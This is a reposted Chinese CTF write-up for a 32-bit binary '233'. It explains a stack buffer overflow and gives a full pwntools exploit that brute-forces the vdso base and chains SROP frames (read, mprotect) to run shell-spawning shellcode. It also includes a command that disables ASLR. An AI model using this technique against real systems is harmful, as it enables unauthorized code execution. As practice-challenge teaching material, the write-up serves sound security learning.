233

Posted hktk1643

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了233相关的知识,希望对你有一定的参考价值。

32位动态链接ELF,开启了Full RELRO,NX,PIE

查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [esp+16h] [ebp-Eh] BYREF

  read(0, buf, 0x400u);
  return atoi(buf);
}

显然存在栈溢出漏洞

(这里IDA解析出现了一点问题,实际上需要有一个22位的padding之后才是return addr)

本题采用爆破vdso地址和SROP进行处理

在爆破vdso地址之前,可以先将ASLR关闭,这样的vdso地址将固定不变,方法是输入

bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

要是想要重新开启,只需要把0改成1或2即可(2还包括堆地址的随机化)

本题开启了PIE,程序基址不知道,libc基址不知道,并且程序中还没有写相关的函数

因此采用自己构造syscall的方式进行处理

首先查看程序此时的vmmap分布

 

 

可以看到vdso此时的基址是0xf7fd7000

找到sigreturn地址

 

 

我们只需要从sigreturn+1处调用即可,此时距离基址0xff1

为了SROP,我们还需要一个syscall(这里32位是int 0x80)之后有一个ret的gadget

找到了一个符合要求的

 

 

只不过多了3个pop,因此把这部分填充padding即可,这里距离基址0xfd7

因此就可以构造SROP了

思路是通过第一次栈溢出,通过调用SYS_read将构造的ROP链输入到一个已知地址且可写入的地方,并将esp指向那里,eip指向syscall_ret,这样之后就可以继续执行ROP链

构造的ROP链总共有两个环节,第一环是调用SYS_read将shellcode输入到一个已知地址且可写入的地方

第二环是将shellcode的地址利用SYS_mprotect设置为rwx,打破NX限制

之后调用shellcode即可

 

然后就是爆破vdso地址了

这里是32位程序,也就是需要爆破1~2个字节

本机上通过ldd ./233可以看到

 

 

这里的linux-gate.so.1也就是老版的vdso

可以发现开启ASLR后每次运行ldd它的结果都不一样

可以找到本机它的范围

之后爆破即可

 

exp如下:

from pwn import *
import random

context.arch = \'i386\'
context.os = \'linux\'
#context.log_level = \'debug\'

shellcode = asm(shellcraft.i386.linux.sh())

def work(io, vdso_base):
    goal_addr = vdso_base - 0x4000
    shellcode_addr = goal_addr + 0x100
    sigreturn_addr = vdso_base + 0xff1
    int_0x80_pop_ebp_edx_ecx = vdso_base + 0xfd7
    
    payload1 = b\'a\' * 22 + p32(sigreturn_addr)
    frame1 = SigreturnFrame(kernel = \'amd64\')

    payload2 = b\'a\' * 12 + p32(sigreturn_addr)
    frame2 = SigreturnFrame(kernel = \'amd64\')
    frame2.eax = constants.SYS_read
    frame2.ebx = 0
    frame2.ecx = shellcode_addr
    frame2.edx = len(shellcode)
    frame2.eip = int_0x80_pop_ebp_edx_ecx
    frame2.esp = goal_addr + len(payload2) + len(SigreturnFrame(kernel = \'amd64\'))
    payload2 += bytes(frame2)

    payload2 += b\'a\' * 12 + p32(sigreturn_addr)
    frame3 = SigreturnFrame(kernel = \'amd64\')
    frame3.eax = constants.SYS_mprotect
    frame3.ebx = goal_addr
    frame3.ecx = 0x1000
    frame3.edx = 7
    frame3.eip = int_0x80_pop_ebp_edx_ecx
    frame3.esp = goal_addr + len(payload2) + len(SigreturnFrame(kernel = \'amd64\'))
    payload2 += bytes(frame3)

    payload2 += b\'a\' * 12 + p32(shellcode_addr)

    #print(hex(len(payload2)))
    
    frame1.eax = constants.SYS_read
    frame1.ebx = 0
    frame1.ecx = vdso_base - 0x4000
    frame1.edx = len(payload2)
    frame1.eip = int_0x80_pop_ebp_edx_ecx
    frame1.esp = goal_addr
    payload1 += bytes(frame1)

    io.send(payload1)
    sleep(0.2)
    io.send(payload2)
    sleep(0.2)
    io.send(shellcode)
    sleep(0.2)
    io.sendline(\'echo PWN!\')
    sleep(0.2)
    res = io.recv()
    if b\'PWN!\' not in res:
        raise Exception(\'Not true\')

while True:
    io = process(\'./233\')
    #vdso_base = 0xf7fd7000
    vdso_base = random.choice(range(0xf7ed0000, 0xf7ff0000, 0x1000))
    info("vdso_base: 0x%x" % vdso_base)
    try:
        work(io, vdso_base)
    except:
        try:
            io.close()
        except:
            pass
        continue
    info("yes")
    io.interactive()
    break

 

以上是关于233的主要内容,如果未能解决你的问题,请参考以下文章

C++ int i[233];我直接这样写代表了啥意思?

力扣竞赛233场题解

LeetCode(算法)- 233. 数字 1 的个数

LeetCode(算法)- 233. 数字 1 的个数

LeetCode233. Number of Digit One

java Généricité